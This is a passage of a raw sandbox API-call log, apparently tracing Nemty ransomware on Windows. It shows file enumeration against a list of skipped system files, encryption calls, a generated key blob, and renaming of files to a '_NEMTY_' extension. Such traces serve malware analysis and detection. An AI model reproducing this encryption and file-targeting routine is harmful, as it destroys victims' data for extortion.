Flags=0x0, Size=0x27100) returned 0x6351c48 [0141.132] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.132] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.141] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.141] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.141] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.141] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.150] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.150] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.150] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.150] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.160] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.160] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.160] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.160] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.170] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.170] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.170] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.170] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.179] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.179] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.179] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.179] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.188] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.188] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.188] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.188] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.198] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.198] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.198] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.198] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.207] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.207] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.207] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.207] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.217] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.217] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.217] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.217] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.226] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.226] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.226] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.226] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.232] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.232] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.232] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.232] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.238] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.238] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.238] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.238] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401d8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.238] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0141.238] CloseHandle (hObject=0xffffffff) returned 0 [0141.238] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0141.238] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0141.238] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0141.238] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0141.238] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0141.238] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0141.238] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340410 [0141.238] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0141.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0141.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0141.239] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_right_hover.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_right_hover.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_right_hover.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_right_hover.png._nemty_kgobjgd_")) returned 0 [0141.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0141.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0141.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0141.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0141.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0141.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0141.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0141.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0141.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0141.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0141.239] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d47b59, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84d47b59, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bc9a9d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x45f, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="settings_right_pressed.png", cAlternateFileName="")) returned 1 [0141.239] lstrcmpiW (lpString1="settings_right_pressed.png", lpString2=".") returned 1 [0141.239] lstrcmpiW (lpString1="settings_right_pressed.png", lpString2="..") returned 1 [0141.239] lstrcmpiW (lpString1="settings_right_pressed.png", lpString2="...") returned 1 [0141.239] lstrcmpiW (lpString1="settings_right_pressed.png", lpString2="windows") returned -1 [0141.239] lstrcmpiW (lpString1="settings_right_pressed.png", lpString2="$RECYCLE.BIN") returned 1 [0141.239] lstrcmpiW (lpString1="settings_right_pressed.png", lpString2="rsa") returned 1 [0141.239] lstrcmpiW (lpString1="settings_right_pressed.png", lpString2="NTDETECT.COM") returned 1 [0141.239] lstrcmpiW (lpString1="settings_right_pressed.png", lpString2="ntldr") returned 1 [0141.239] lstrcmpiW (lpString1="settings_right_pressed.png", lpString2="MSDOS.SYS") returned 1 [0141.239] lstrcmpiW (lpString1="settings_right_pressed.png", lpString2="IO.SYS") returned 1 [0141.239] lstrcmpiW (lpString1="settings_right_pressed.png", lpString2="boot.ini") returned 1 [0141.239] lstrcmpiW (lpString1="settings_right_pressed.png", lpString2="boot.ini") returned 1 [0141.239] lstrcmpiW (lpString1="settings_right_pressed.png", lpString2="AUTOEXEC.BAT") returned 1 [0141.239] lstrcmpiW (lpString1="settings_right_pressed.png", lpString2="ntuser.dat") returned 1 [0141.239] lstrcmpiW (lpString1="settings_right_pressed.png", lpString2="desktop.ini") returned 1 [0141.239] lstrcmpiW (lpString1="settings_right_pressed.png", lpString2="CONFIG.SYS") returned 1 [0141.239] lstrcmpiW (lpString1="settings_right_pressed.png", lpString2="RECYCLER") returned 1 [0141.239] lstrcmpiW (lpString1="settings_right_pressed.png", lpString2="BOOTSECT.BAK") returned 1 [0141.239] lstrcmpiW (lpString1="settings_right_pressed.png", lpString2="bootmgr") returned 1 [0141.240] lstrcmpiW (lpString1="settings_right_pressed.png", lpString2="programdata") returned 1 [0141.240] lstrcmpiW (lpString1="settings_right_pressed.png", lpString2="appdata") returned 1 [0141.240] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0141.240] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_pressed.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0141.240] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0141.240] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_pressed.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_right_pressed.png", lpUsedDefaultChar=0x0) returned 26 [0141.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0141.240] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0141.240] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_pressed.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0141.240] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0141.240] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_pressed.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_right_pressed.png", lpUsedDefaultChar=0x0) returned 26 [0141.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0141.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0141.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0141.240] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0141.240] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_pressed.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0141.240] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0141.240] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_pressed.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_right_pressed.png", lpUsedDefaultChar=0x0) returned 26 [0141.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0141.240] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0141.240] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_pressed.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0141.240] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0141.240] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_pressed.png", cchWideChar=26, lpMultiByteStr=0x4f9ed08, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_right_pressed.png", lpUsedDefaultChar=0x0) returned 26 [0141.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0141.240] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340110 [0141.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0141.240] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0141.240] Sleep (dwMilliseconds=0x5) [0141.256] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x7d78750, dwHighDateTime=0x1d561e8)) [0141.256] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x7d78750, dwHighDateTime=0x1d561e8)) [0141.256] GetLastError () returned 0x5 [0141.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0141.256] GetLastError () returned 0x5 [0141.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0141.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0141.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0141.256] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0141.256] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0141.256] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0141.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401d8 [0141.256] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401d8, pcchString=0x653e91c | out: pszString="ZUTzmsfvpZCL1rL/4ZpHp7hQ1rv2jBaPShvenbnsdskSlCSgAKAUawb+YdxPl0Br\r\noxOPUC3ZiDeGNHgsJYRRdNxcWvddbjlTTCcEU4geO76mQo1+f4B4RW8cxAUTDbZ3\r\n/mW/YZLO7FD5lBT4gixmhNC6K3fe68m2hdbfa2woZbW3rHW4xIOWkO0wkDNC7SYY\r\nJA8h6w5O81dHxzU0r6Hp5Y4gqmwa2CfJjmtL3DxAOZoei2av6qFOA10d6gVpil+p\r\nTW/ZrD21teqqsxl6iFQ5aaLVJTywU8yVJSa7AaW4hji1BE66HNfEwbyBbyiF9v3Y\r\n3nDh3kb6YTtL7llBlP8Sew==\r\n", pcchString=0x653e91c) returned 1 [0141.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0141.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0141.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0141.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0141.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401d8 [0141.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0141.256] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_right_pressed.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_right_pressed.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0141.257] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0141.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0141.257] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.257] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.266] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.266] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.266] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.266] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.275] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.275] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.275] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.275] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.284] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.284] WriteFile (in: hFile=0xffffffff, 